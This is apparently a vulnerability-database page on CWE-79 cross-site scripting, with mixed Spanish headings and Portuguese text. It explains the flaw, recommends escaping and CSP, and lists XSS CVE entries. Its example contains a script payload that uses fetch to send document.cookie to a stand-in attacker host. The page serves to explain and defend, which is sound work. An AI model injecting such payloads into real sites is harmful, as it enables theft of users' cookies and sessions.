Fallos del tipo CWE-79

29.037 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-3561MEDIUMCross-site Scripting (XSS) - Generic in librenms/librenmsEPSS 0.6%CVE-2022-3237MEDIUMWP Contact Slider < 2.4.8 - Admin+ Stored Cross-Site ScriptingEPSS 0.6%CVE-2024-35592CRITICALAn arbitrary file upload vulnerability in the Upload function of Box-IM v2.0 allows attackers to execute arbitrary code via uploading a crafEPSS 0.6%CVE-2023-34103HIGHStored XSS (Cross Site Scripting) in html content based fields of avoEPSS 0.6%CVE-2022-3469MEDIUMWP Attachments < 5.0.5 - Admin+ Stored Cross-Site ScriptingEPSS 0.6%CVE-2010-10008LOWsimplesamlphp simplesamlphp-module-openidprovider trust.tpl.php cross site scriptingEPSS 0.6%CVE-2025-1763HIGHImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in GitLabEPSS 0.6%CVE-2021-43991MEDIUMPersistent XSS via Avatar Upload in Kentico Xperience CMSEPSS 0.6%CVE-2026-41201CRITICALCI4MS: Backup Management Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM Blind XSS Version 2EPSS 0.6%CVE-2022-3462MEDIUMHighlight Focus <= 1.1 - Admin+ Stored Cross Site ScriptingEPSS 0.6%CVE-2022-28353MEDIUMIn the External Redirect Warning Plugin 1.3 for MyBB, the redirect URL (aka external.php?url=) is vulnerable to XSS.EPSS 0.6%CVE-2022-3408MEDIUMWP Word Count <= 3.2.3 - Admin+ Stored Cross-Site ScriptingEPSS 0.6%CVE-2022-4740LOWkkFileView picturesPreview setWatermarkAttribute cross site scriptingEPSS 0.6%CVE-2024-25145CRITICALStored cross-site scripting (XSS) vulnerability in the Portal Search module's Search Result app in Liferay Portal 7.2.0 through 7.4.3.11, anEPSS 0.6%CVE-2024-50836MEDIUMA Stored Cross-Site Scripting (XSS) vulnerability was found in /admin/teachers.php in KASHIPARA E-learning Management System Project 1.0. ThEPSS 0.6%CVE-2021-36866MEDIUMWordPress Easy Pricing Tables plugin <= 3.1.2 - Authenticated Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.6%CVE-2023-2322MEDIUMCross-site Scripting (XSS) - Stored in pimcore/pimcoreEPSS 0.6%CVE-2022-25605MEDIUMWordPress WP-DownloadManager plugin <= 1.68.6 - Multiple Authenticated Stored Cross-Site Scripting (XSS) vulnerabilitiesEPSS 0.6%CVE-2022-4519MEDIUMWP User <= 7.0 - Authenticated (Administrator+) Stored Cross-Site ScriptingEPSS 0.6%CVE-2021-41541—A vulnerability has been identified in Climatix POL909 (AWB module) (All versions < V11.44), Climatix POL909 (AWM module) (All versions < V1EPSS 0.6%